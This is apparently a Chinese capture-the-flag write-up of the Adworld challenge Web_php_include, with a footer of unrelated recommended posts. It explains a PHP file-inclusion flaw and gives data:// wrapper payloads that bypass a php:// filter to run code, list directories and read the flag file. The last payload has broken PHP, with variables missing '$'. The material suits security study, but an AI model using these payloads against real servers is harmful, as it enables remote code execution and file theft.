32.攻防世界Web_php_include

进入场景

echo $_GET['hello'] 直接将用户通过 GET 方法提交的 hello 参数值输出到页面上,这可能会导致 XSS(跨站脚本攻击)漏洞。

在下面的代码中,虽然对 page 中的 php:// 进行了替换处理,但是仍然存在文件包含漏洞的风险。如果我们能够通过 _GET['page'] 传入一个恶意的文件路径,就可能导致服务器上的任意文件被包含和执行

"file://"是一种用于指定本地文件系统中文件的URI(统一资源标识符)协议。通过"file://"协议,可以在浏览器或其他支持该协议的应用程序中访问本地文件

"data://"协议是 PHP 中的一种数据流协议,它允许将数据作为文件来读取。该协议的语法如下:data:(<mediatype>)(;base64),<data>,其中,<mediatype>是可选的媒体类型,<data>是数据内容。

测试

/?page=data://text/plain,<?php phpinfo()?>

目录路径

/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>

目录文件

/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>

读取文件内容

/?page=data://text/plain,<?php a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars(a); ?>

相关推荐
世人万千丶7 小时前
Flutter 框架跨平台鸿蒙开发 - 恐惧清单应用
学习·flutter·华为·开源·harmonyos·鸿蒙
yuzhuanhei7 小时前
Visual Studio 配置C++opencv
c++·学习·visual studio
一轮弯弯的明月7 小时前
贝尔数求集合划分方案总数
java·笔记·蓝桥杯·学习心得
此刻觐神8 小时前
IMX6ULL开发板学习-01(Linux文件目录和目录相关命令)
linux·服务器·学习
憧憬从前8 小时前
算法学习记录DAY2
学习
航Hang*8 小时前
第3章:Linux系统安全管理——第2节:部署代理服务
linux·运维·服务器·开发语言·笔记·系统安全
babe小鑫8 小时前
会计岗位学习数据分析的价值分析
学习·数据挖掘·数据分析
千枫s8 小时前
电脑vm虚拟机kali linux安装shannon
学习·网络安全
zjnlswd8 小时前
tkinter学习案例--笔记代码
笔记·学习
咬_咬8 小时前
go语言学习(基本数据类型)
开发语言·学习·golang·数据类型